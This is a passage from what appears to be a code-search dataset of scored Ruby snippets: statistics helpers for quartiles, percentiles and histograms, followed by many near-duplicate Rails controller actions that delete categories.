"text": "def whisker_and_box_bounds (arr, kwargs={})\n\t ## Preconditions:\n\t opts = OpenStruct.new({\n\t :log => false,\n\t }.merge(kwargs))\n\t \n\t pp \"arr #{arr}\"\n\t ## Main:\n\t # transform vals if required\n\t if opts.log\n\t \tvals = arr.collect { |v| Math::log(v) }\n\t else\n\t \tvals = arr\n\t end\n\t pp \"vals #{vals}\"\n\t\t\n\t qs = quartiles(vals)\n\t pp \"qs #{qs}\"\n\t\tif opts.log\n\t\t\tqs = qs.collect { |v| Math::exp(v) }\n\t\tend\n\t pp \"qs #{qs}\"\n\t\t\n\t\tp25 = qs[0]\n\t\tp50 = qs[1]\n\t\tp75 = qs[2]\n\t\t\n\t\tiqr = p75 - p25\n\t\tw_top_limit = p75 + (1.5 * iqr)\n\t\ttop_vals = arr.select { |v| (p75 < v) and (v <= w_top_limit) }\n\t\tif top_vals.nil? or top_vals.empty?\n\t\t\tw_top_val = w_top_limit\n\t\telse\n\t\t\tw_top_val = top_vals.max()\n\t\tend\n\t\tw_bottom_limit = [0.0, p25 - (1.5 * iqr)].max()\n\t\tbottom_vals = arr.select { |v| (v < p25) and (w_bottom_limit <= v) }\n\t\tif bottom_vals.nil? or bottom_vals.empty?\n\t\t\tw_bottom_val = w_bottom_limit\n\t\telse\n\t\t\tw_bottom_val = bottom_vals.min()\n\t\tend\n\n\t## Postconditions & return:\n return w_bottom_val, p25, p50, p75, w_top_val\n end",
"title": ""
},
{
"docid": "1a840ee215c5b3725b321b1c5bb7a9c3",
"score": "0.53829837",
"text": "def evaluate_low_sample_count_percentile\n data.evaluate_low_sample_count_percentile\n end",
"title": ""
},
{
"docid": "012f56e0b2f4e4c0fa1990ed771c88f6",
"score": "0.53811485",
"text": "def lower_quartile\n sorted = self.sort\n midpoint = sorted.length/2 - 1 \n sorted[0..midpoint].median\n end",
"title": ""
},
{
"docid": "6252d1b1eca078a71dbd898f6f329dda",
"score": "0.5380833",
"text": "def grade_distribution_array(intervals = 20)\n data = percentage_grades_array\n data.extend(Histogram)\n histogram = data.histogram(intervals, min: 1, max: 100, bin_boundary: :min, bin_width: 100 / intervals)\n distribution = histogram.fetch(1)\n distribution[0] = distribution.first + data.count { |x| x < 1 }\n distribution[-1] = distribution.last + data.count { |x| x > 100 }\n\n distribution\n end",
"title": ""
},
{
"docid": "9f98a163cd621766ffb57d4c56457bc1",
"score": "0.5377154",
"text": "def grade_distribution_array(intervals = 20)\n data = grades_array.map { |g| calculate_total_percent(g) }\n data.extend(Histogram)\n histogram = data.histogram(intervals, min: 1, max: 100, bin_boundary: :min, bin_width: 100 / intervals)\n distribution = histogram.fetch(1)\n distribution[0] = distribution.first + data.count { |x| x < 1 }\n distribution[-1] = distribution.last + data.count { |x| x > 100 }\n\n distribution\n end",
"title": ""
},
{
"docid": "a8b2eb1035b45af74e973982775bb2dc",
"score": "0.5357055",
"text": "def median\n percentile(50)\n end",
"title": ""
},
{
"docid": "10d3c8a012c05e9ce761e1d5af163274",
"score": "0.5350459",
"text": "def percentile_for(member)\n percentile_for_in(@leaderboard_name, member)\n end",
"title": ""
},
{
"docid": "59d4d7fdb7b355731ec10ac2f02c03d3",
"score": "0.5348736",
"text": "def quantile_function(x)\n -@@sqrt2 * inv_erf(2.0 * x)\n end",
"title": ""
},
{
"docid": "a20f3f432ccfbcd328540a6fd0b2600b",
"score": "0.53345495",
"text": "def percentile(p, already_sorted = false)\r\n self.sort! unless already_sorted\r\n i = (length * p).ceil - 1\r\n if i < 0 || i >= length\r\n nil\r\n else\r\n self[i]\r\n end\r\n end",
"title": ""
},
{
"docid": "9553f98d1326cbf6f91e292086a7cc9b",
"score": "0.53276545",
"text": "def vector_percentile\n c = size - missing_positions.size\n ranked.recode! { |i| i.nil? ? nil : (i.quo(c)*100).to_f }\n end",
"title": ""
},
{
"docid": "7b2939f27dca4ac82481f8432234eaf3",
"score": "0.5300975",
"text": "def clean_old_percentiles; end",
"title": ""
},
{
"docid": "e278c2be9ba486b4c6a264c8ec4f29be",
"score": "0.52865726",
"text": "def grade_distribution_array(assignment, intervals = 20)\n data = percentage_grades_array(assignment)\n data.extend(Histogram)\n histogram = data.histogram(intervals, min: 1, max: 100, bin_boundary: :min, bin_width: 100 / intervals)\n distribution = histogram.fetch(1)\n distribution[0] = distribution.first + data.count { |x| x < 1 }\n distribution[-1] = distribution.last + data.count { |x| x > 100 }\n\n distribution\n end",
"title": ""
},
{
"docid": "752dcfde50ffd1fd8c12249db3f9dffa",
"score": "0.5262283",
"text": "def approximate_quantile_of_value(v)\n mutex.synchronize do\n return 100 if total == 0\n\n count_examined = 0\n\n bins.each_with_index do |bin, index|\n if v <= bin.value\n break\n end\n\n count_examined += bin.count\n end\n\n count_examined / total.to_f\n end\n end",
"title": ""
},
{
"docid": "60ea9e32cd4be0f91971d0f77f65fc1b",
"score": "0.52530694",
"text": "def thumbnail_percentages\n n = Panda::Config[:choose_thumbnail]\n \n return [50] if n == false\n \n # Interval length\n interval = 100.0 / (n + 1)\n # Points is [0,25,50,75,100] for example\n points = (0..(n + 1)).map { |p| p * interval }.map { |p| p.to_i }\n \n # Don't include the end points\n return points[1..-2]\n end",
"title": ""
},
{
"docid": "d7bcaebdd3aa94fa647c6c820d2007c4",
"score": "0.52519345",
"text": "def quartiles( already_sorted = false )\n a = sort_and_extend( already_sorted )\n [a.first_quartile( true ), a.median( true ), a.last_quartile( true )]\n end",
"title": ""
},
{
"docid": "6109499de4b9afda938b07a343cb5d79",
"score": "0.52483445",
"text": "def quiz_percentile(publish,marks,total)\n marks_less = 0\n #L/N(100) = P\n return 0\n end",
"title": ""
},
{
"docid": "ceee04c68f49af85a939b2c8acc28e22",
"score": "0.52406806",
"text": "def limiter_bucket\n # Smallest value of \"count / desired percent\" is the limiter.\n @buckets.values.map do |bucket|\n [bucket, bucket.count / @wanted_distribution[bucket.name]]\n end.sort { |a, b| a[1] <=> b[1] }[0][0]\n end",
"title": ""
},
{
"docid": "3a94adddfd3f42cab7d3f760a8e3aa9b",
"score": "0.5231837",
"text": "def stats_percentiles(anchor_comparable, others)\n return nil if others.size == 0\n\n n_lower = others.select {|v| v < anchor_comparable }.size\n equal = others.select {|v| v == anchor_comparable }.size\n n_higher = others.size - (n_lower + equal)\n percentile = (n_lower / others.size.to_f) + (equal / others.size.to_f / 2)\n {\n p: (percentile * 100).to_i,\n n_lower: n_lower,\n n_equal: equal,\n n_higher: n_higher\n }\n end",
"title": ""
},
{
"docid": "ab203fcb9ff2c9d4d88d818b513561d9",
"score": "0.5215122",
"text": "def wquantiles(data, probs=QUARTILES)\n grouped = data.group_by(&:first).map { |a, b| [a, b.reduce(0) { |sum, e| sum + e.last }] }\n values, weights = grouped.sort_by(&:first).transpose\n\n sum = 0\n cum_weights = weights.map { |e| sum += e }\n\n probs.map do |prob|\n h = 1 + (sum - 1) * prob\n mod = h % 1\n\n k1 = cum_weights.find_index { |e| e >= h.floor }\n k2 = cum_weights.find_index { |e| e >= h.ceil }\n\n (1 - mod) * values[k1] + (mod) * values[k2]\n end\nend",
"title": ""
},
{
"docid": "b9a62838148baf64730cb7a754f6bfc0",
"score": "0.5209163",
"text": "def x_percent_of_range\n\t\treturn self.day_range * Pattern::DOJI_OPEN_CLOSE_IN_MIDDLE_PERCENT_OF_DAY_RANGE\n\tend",
"title": ""
},
{
"docid": "3936c35942753498914c899323d59599",
"score": "0.5190153",
"text": "def interval lower, upper\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "e07c189eb0c23499262f7c4b7b2daef0",
"score": "0.5186334",
"text": "def boundary_modifier\n 1 - fractional_quartile_size.modulo(1)\n end",
"title": ""
},
{
"docid": "0e78144f4e4668db0a383b9dabf5a7c5",
"score": "0.5162475",
"text": "def boundaries_for_range_facets(first, last, num_div)\n raise ArgumentError, \"The first date must be before the last date\" if last < first\n # arithmetic issues require last to be one more than the actual\n # last value included in our inclusive range\n last += 1\n\n # code cribbed from Flot auto tick calculating, but leaving out\n # some of Flot's options becuase it started to get confusing.\n delta = (last - first).to_f / num_div\n\n # Don't know what most of these variables mean, just copying\n # from Flot.\n dec = -1 * ( Math.log10(delta) ).floor\n magn = (10 ** (-1 * dec)).to_f\n norm = (magn == 0) ? delta : (delta / magn) # norm is between 1.0 and 10.0\n\n size = 10\n if (norm < 1.5)\n size = 1\n elsif (norm < 3)\n size = 2;\n # special case for 2.5, requires an extra decimal\n if (norm > 2.25 )\n size = 2.5;\n dec = dec + 1\n end\n elsif (norm < 7.5)\n size = 5\n end\n\n size = size * magn\n\n boundaries = []\n\n start = floorInBase(first, size)\n i = 0\n v = Float::MAX\n prev = nil\n begin\n prev = v\n v = start + i * size\n boundaries.push(v.to_i)\n i += 1\n end while ( v < last && v != prev)\n\n # Can create dups for small ranges, tighten up\n boundaries.uniq!\n\n # That algorithm i don't entirely understand will sometimes\n # extend past our first and last, tighten it up and make sure\n # first and last are endpoints.\n boundaries.delete_if {|b| b <= first || b >= last}\n boundaries.unshift(first)\n boundaries.push(last)\n\n return boundaries\n end",
"title": ""
},
{
"docid": "d28c058d615e3e9797c4a0eb56c5117d",
"score": "0.5126176",
"text": "def wmean_quantiles(data, probs=QUARTILES)\n data = data.sort_by(&:first)\n\n total_weight = data.map(&:last).reduce(:+)\n\n if $inegi\n # The INEGI splits the data by integers of the total size divided by ten.\n # If the total size is 109, the chunks would be: 10, 10, 10, 10, 10, 10, 10, 10, 10, 19\n quantile_size = total_weight / (probs.count + 1)\n cuts = (1..probs.count).map { |e| e * quantile_size }\n else\n cuts = probs.map { |p| total_weight * p }\n end\n\n cuts << total_weight\n\n quantiles = []\n sum = cut = cum_weight = 0\n\n data.each do |value, weight|\n cum_weight += weight\n\n if cum_weight >= cuts[cut]\n cur_cut = cuts[cut]\n prev_cut = cut > 0 ? cuts[cut - 1] : 0\n\n # chunk weight\n weight = cur_cut - (cum_weight - weight)\n\n quantiles[cut] = (sum + (value * weight)) / (cur_cut - prev_cut)\n\n # remaining weight\n weight = cum_weight - cur_cut\n\n sum = 0\n cut += 1\n end\n\n sum += value * weight\n end\n\n quantiles\nend",
"title": ""
},
{
"docid": "5baf00af8e92041a4b604257518cbed7",
"score": "0.5118873",
"text": "def bq_base\n (n * 0.95).to_i\n end",
"title": ""
},
{
"docid": "f71bda6e6089f01e4e5d8fcb32095625",
"score": "0.5109587",
"text": "def percent(instrument, value)\n end",
"title": ""
},
{
"docid": "77e274a56acf0ed721d44001c8fd1317",
"score": "0.5087014",
"text": "def convert_pct(value, type)\n value <= 252 ? value / 2.0 : value\n end",
"title": ""
},
{
"docid": "7596a73e4a563397a3f3a9f7aeadafc9",
"score": "0.5083653",
"text": "def scale(data)\n min, max = data.min, data.max\n data.collect { |x| (x - min) / (max - min) * 100}\nend",
"title": ""
},
{
"docid": "7e16fe64f60b60c764e3fedda21c1c9f",
"score": "0.5066306",
"text": "def apply_percent(percent, max)\n (percent*max)/100\n end",
"title": ""
},
{
"docid": "f5060dcb7d7677422f28d7d91c790bc5",
"score": "0.50583714",
"text": "def calculate_histogram_buckets(data, buckets_config)\n\n if @histogram_bucket_comparation == :less_or_equal\n buckets_config.sort!.uniq!\n else\n buckets_config.reverse!.uniq!\n end\n \n buckets = {}\n \n buckets_config.each {|bucket| buckets[bucket] = 0}\n \n #By default add Inf bucket\n buckets[\"Inf\"] = 0 if @histogram_bucket_infinite_enabled\n\n data.each do|item|\n item_in_bucket = false\n buckets_config.each do|bucket|\n if @histogram_bucket_comparation == :less_or_equal\n if item <= bucket\n item_in_bucket = true\n end\n elsif item >= bucket\n item_in_bucket = true\n end\n\n if item_in_bucket\n buckets[bucket] += 1\n #Not accumule if histogram cumulative is false\n break if !@histogram_cumulative\n end\n end\n\n #Only count Inf bucket if enabled\n if @histogram_bucket_infinite_enabled\n if !item_in_bucket\n buckets[\"Inf\"] += 1\n elsif @histogram_cumulative\n buckets[\"Inf\"] += 1\n end\n end\n end\n return buckets\n end",
"title": ""
},
{
"docid": "373fd1dda334cc41ba5aa0dbbe355929",
"score": "0.5055889",
"text": "def Ensure50thPercentile(item)\n\n min_stat = 1193\n case item['item_type'].downcase\n when 'vest'\n min_armor = 1854\n when 'mask'\n min_armor = 927\n when 'kneepads'\n min_armor = 1544\n when 'backpack'\n min_armor = 1235\n when 'gloves'\n min_armor = 927\n when 'holster'\n min_armor = 927\n end\n\n main_stat = [item['firearms'].to_i, item['stamina'].to_i, item['electronics'].to_i].max\n if item['armor'].to_i >= min_armor #&& main_stat >= min_stat\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "4c29c89a5b6d3c7392a8975a10afe6a6",
"score": "0.50477886",
"text": "def percentile_for_in(leaderboard_name, member)\n return nil unless check_member_in?(leaderboard_name, member)\n\n responses = @redis_connection.multi do |transaction|\n transaction.zcard(leaderboard_name) \n transaction.zrevrank(leaderboard_name, member)\n end\n \n percentile = ((responses[0] - responses[1] - 1).to_f / responses[0].to_f * 100).ceil\n if @reverse\n 100 - percentile\n else\n percentile\n end\n end",
"title": ""
},
{
"docid": "5043e767bb678f0333c64c44940b17b0",
"score": "0.5046919",
"text": "def approximate_quantile_of_value(v); end",
"title": ""
},
{
"docid": "269c2e5f584abdb5e194586864fe10f5",
"score": "0.5032208",
"text": "def bounding_range(val) check_pre(val.range1d?); Range1d[(self.first.min(val.first)),(self.last.max(val.last)) ] end",
"title": ""
},
{
"docid": "ab79206e9b4f61ad416b957f92aa7457",
"score": "0.50281245",
"text": "def star_series_reading_percentile\n percentile_ranks_to_highcharts(student.star_reading_results)\n end",
"title": ""
},
{
"docid": "4442c0aaf611850c80ec9c2f1cb312d0",
"score": "0.5023619",
"text": "def value_in_range(range)\n case range.first\n when Integer then number_in_range(range)\n when Time then time_in_range(range)\n when Date then date_in_range(range)\n else range.to_a.sample\n end\n end",
"title": ""
},
{
"docid": "f84c7a5ad4cd4c1f2304de2dfc1362c9",
"score": "0.5018681",
"text": "def percentile(p)\n is_array = p.is_a? Array\n p = [p] unless is_array\n p.map! do |item|\n unless (0..1).cover?(item)\n raise ArgumentError, \"p should be in [0,1], got #{item}\"\n end\n\n if size == 0\n nil\n else\n _cumulate(exact: true)\n h = @size * item\n lower, upper = bound_mean_cumn(h)\n if lower.nil? && upper.nil?\n nil\n elsif upper == lower || lower.nil? || upper.nil?\n (lower || upper).mean\n elsif h == lower.mean_cumn\n lower.mean\n else\n upper.mean\n end\n end\n end\n is_array ? p : p.first\n end",
"title": ""
},
{
"docid": "0ec2169b54ab5f3abdfd082cdbc4596f",
"score": "0.49829882",
"text": "def confidence_interval(confidence=0.95)\n positive = post.votes.positive.count\n total = post.votes.count\n return 0.0 if total == 0\n\n # Constant for confidence eq 0.95\n quantile = confidence == 0.95 ? 1.96 : Statistics2.pnormaldist(1-(1-confidence)/2)\n positives_fraction = 1.0 * positive / total\n\n return (\n (\n positives_fraction +\n quantile * quantile / (2 * total) -\n quantile * Math.sqrt((positives_fraction * (1 - positives_fraction) +\n quantile * quantile / (4*total) ) / total)\n ) /\n (1 + quantile * quantile / total)\n )\n end",
"title": ""
},
{
"docid": "94e2656b28fd9e4cd6f3cbe8d7dfae42",
"score": "0.4969401",
"text": "def calculate_num_connections_percentile\n\n # Get all SocialMediaPresence records having num_connections less than this record\n lower_num_connections_count = SocialMediaPresence.with_num_connections_less_than(num_connections).size\n\n n = SocialMediaPresence.all.size\n percentile = (100 * (lower_num_connections_count.to_f / n))\n end",
"title": ""
}
] |
0db2d3f9c934b744251f1630d4ab743c
|
DELETE /dormitory_categories/1 DELETE /dormitory_categories/1.json
|
[
{
"docid": "ad214a3af3968f6eec367a5eb914c310",
"score": "0.7655954",
"text": "def destroy\n @dormitory_category = DormitoryCategory.find(params[:id])\n @dormitory_category.destroy\n\n respond_to do |format|\n format.html { redirect_to dormitory_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "6b623e65133b8ddd83f927b20c7278d9",
"score": "0.75747734",
"text": "def destroy\n EconomicCategory.delete_hack(params[:id])\n\n respond_to do |format|\n format.html { redirect_to economic_categories_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d48b83c1d9faa78612e9915d674bed24",
"score": "0.7565286",
"text": "def destroy\n @categories_d = CategoriesD.find(params[:id])\n @categories_d.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_ds_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "662828df10272d8b2f005ca23da941d7",
"score": "0.7376392",
"text": "def destroy\n @checklist_category.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4142e7c3e1be82e432fdf951ae5785eb",
"score": "0.73509943",
"text": "def destroy\n @data = @category.delete(params[:id])\n render json: @data\n end",
"title": ""
},
{
"docid": "067af7aa30cb573166075c5205d503f8",
"score": "0.73222065",
"text": "def destroy\n @d_category = DCategory.find(params[:id])\n @d_category.destroy\n\n respond_to do |format|\n format.html { redirect_to d_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5f3b1842a09999b8622742600541393b",
"score": "0.73073465",
"text": "def delete_category\n return unless logged_in? t(\"quotations.login_missing\")\n\n category_ids = split_two_id_arrays(params[:ids], 0)\n rec_ids = split_two_id_arrays(params[:ids], 1)\n logger.debug { \"delete_category() category_ids=#{nol(category_ids, true)} rec_ids=#{nol(rec_ids, true)}\" }\n turbo_category(nil, category_ids, rec_ids)\n render turbo_stream: turbo_stream_do_actions\n end",
"title": ""
},
{
"docid": "73bf7328950c03b5396839280ed1c099",
"score": "0.7300402",
"text": "def destroy\n @categoty.destroy\n respond_to do |format|\n format.html { redirect_to categoties_url, notice: 'Categoty was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d4905f481c64800b1fbe24fa9da8ada7",
"score": "0.72854906",
"text": "def destroy\n @catogary = Catogary.find(params[:id])\n @catogary.destroy\n\n respond_to do |format|\n format.html { redirect_to catogaries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8382ff7c0f782927b9b230055f5bb1b0",
"score": "0.727804",
"text": "def destroy\n @categorization = Categorization.find(params[:id])\n @categorization.destroy\n\n respond_to do |format|\n format.html { redirect_to categorizations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "365c3e1628b13da2281ca6a87125cd8b",
"score": "0.72650105",
"text": "def destroy\n @categorize = Categorize.find(params[:id])\n @categorize.destroy\n\n respond_to do |format|\n format.html { redirect_to categorizes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3877ede5ae41d6cbaa41f3eeb660b5d0",
"score": "0.7229388",
"text": "def destroy\r\n @sivic_category.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_categories_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "c5febbde80c9db29012acb9782645df8",
"score": "0.7224455",
"text": "def destroy\n @categary.destroy\n respond_to do |format|\n format.html { redirect_to categaries_url, notice: 'Categary was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3a1642ecc2c864d9f12eb1b7f52d7e27",
"score": "0.72233015",
"text": "def destroy\n @item_categorization = ItemCategorization.find(params[:id])\n @item_categorization.destroy\n\n respond_to do |format|\n format.html { redirect_to item_categorizations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3d0c05d2feaa343693949a710432cb03",
"score": "0.72221655",
"text": "def destroy\n if @category.destroy\n render json: { status: 200, result: :ok }\n else\n render json: { status: 500, result: :error }\n end\n end",
"title": ""
},
{
"docid": "e55ed5b07425aa214f5d96908b561fea",
"score": "0.7211766",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to webmaster_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "59aee0e510e31d7304c5809f345137fb",
"score": "0.7211749",
"text": "def destroy\n @category_tree = CategoryTree.find(params[:id])\n @category_tree.destroy\n\n respond_to do |format|\n format.html { redirect_to category_trees_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "273f5fb4869726e532fe26acef583d9d",
"score": "0.720811",
"text": "def destroy\n @carnival_category.destroy\n respond_to do |format|\n format.html { redirect_to carnival_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8e82257a38ec7abcdd74a59519238e96",
"score": "0.7189776",
"text": "def destroy\n Category.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "11e0713f417daf8680c3394670a061b9",
"score": "0.7184923",
"text": "def destroy\n @cat = current_shelter.cats.find(params[:id])\n @cat.destroy\n respond_to do |format|\n format.html { redirect_to show_dashboard_path, notice: 'Cat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5fe806c750f2a05586b08f164f633246",
"score": "0.7181546",
"text": "def destroy\n @catregory.destroy\n respond_to do |format|\n format.html { redirect_to catregories_url, notice: 'Catregory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3eb26808daa755d48cfdbc0ca65b4fcc",
"score": "0.7173824",
"text": "def destroy\n @api_v1_category.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_categories_url, notice: 'Category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2ef3b36c3315ed9198240185e623ac65",
"score": "0.7172626",
"text": "def destroy\n @api_v1_expense_category.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_expense_categories_url, notice: 'Expense category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3cd306397e0033f790fcab9631ef966",
"score": "0.716561",
"text": "def destroy\n @category = Category.find(params[:id])\n raise params.each.inspect\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e16a51c19bcfc63d296535027a698eb2",
"score": "0.7163824",
"text": "def destroy\n @knack_category = KnackCategory.find(params[:id])\n @knack_category.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_knack_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5e0245ebda0803dce5540a4057c0b8aa",
"score": "0.7159227",
"text": "def destroy\n @sub_categories_d = SubCategoriesD.find(params[:id])\n @sub_categories_d.destroy\n\n respond_to do |format|\n format.html { redirect_to sub_categories_ds_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7806b3ab1f13718c6327bf7a70633ced",
"score": "0.7143762",
"text": "def destroy\r\n @cathedra = Cathedra.find(params[:id])\r\n @cathedra.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to cathedras_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "c7ef21341cf7b6c136f0bb35419e8dfe",
"score": "0.71435046",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to timecard_categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "168fb46791a191943246f6bb23422469",
"score": "0.7136983",
"text": "def destroy\n @category.destroy\n respond_to do |format| \n render json: {success: true, status: :ok} \n end\n end",
"title": ""
},
{
"docid": "1a9715ed0311a189b6ffedddcbce1ade",
"score": "0.7135426",
"text": "def destroy\n @catogiry = Catogiry.find(params[:id])\n @catogiry.destroy\n\n respond_to do |format|\n format.html { redirect_to catogiries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "debaa010c2df36b10dcfafeff7bec58c",
"score": "0.71347183",
"text": "def destroy\n if @category\n @category.destroy\n head :no_content\n else\n render json: { error: \"No category with id: #{params[:id]}\"}, status: 400\n end\n end",
"title": ""
},
{
"docid": "2739b651a656065cd707eaeef8f9f4bb",
"score": "0.7129556",
"text": "def destroy\n @mould_category.destroy\n respond_to do |format|\n format.html { redirect_to mould_categories_url, notice: 'Mould category was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "247ba1eea1cffc55df186ccc047fcd03",
"score": "0.7128134",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n render :json => [\"Category destroyed!\"]\n end",
"title": ""
},
{
"docid": "afc04588f48475fe136b0aa9e10a8dea",
"score": "0.7128112",
"text": "def destroy\n @categoriamural.destroy\n respond_to do |format|\n format.html { redirect_to categoriamurals_url, notice: 'Categoriamural was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7a26242673b32a373c8e5218c7d5c24a",
"score": "0.7119193",
"text": "def destroy\n @lab_cat = LabCat.find(params[:id])\n @lab_cat.destroy\n\n respond_to do |format|\n format.html { redirect_to lab_cats_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ecd40362d27c7346c2f915610801a6e2",
"score": "0.71175265",
"text": "def destroy\n user = User.find(current_user.id)\n category = Category.find_by(id: params[:category_id], user_id: user.id)\n # byebug\n category.destroy!\n render json: { category: category, message: 'category deleted' }, status: :ok\n end",
"title": ""
},
{
"docid": "461f58aaa48a2a83f8b452e70830344e",
"score": "0.711444",
"text": "def delete_category id\n\t\t\t\t\tFreshdesk::Api::Client.delete_status_wrapper do\n\t\t\t\t\t\t( @connection.delete CATEGORIES, id, \"delete_category\" ).code\n\t\t\t\t\tend\n\t\t\t\tend",
"title": ""
},
{
"docid": "495af76d7fc6f25335130ccbf77fcb34",
"score": "0.7111674",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "495af76d7fc6f25335130ccbf77fcb34",
"score": "0.7111674",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "495af76d7fc6f25335130ccbf77fcb34",
"score": "0.7111674",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "495af76d7fc6f25335130ccbf77fcb34",
"score": "0.7111674",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "495af76d7fc6f25335130ccbf77fcb34",
"score": "0.7111674",
"text": "def destroy\n @category.destroy\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.71111566",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "73b410255f228a80bc98371180ed78ca",
"score": "0.7110916",
"text": "def destroy\n @category = Category.find(params[:id])\n @category.destroy\n\n respond_to do |format|\n format.html { redirect_to categories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "495af76d7fc6f25335130ccbf77fcb34",
"score": "0.71102583",
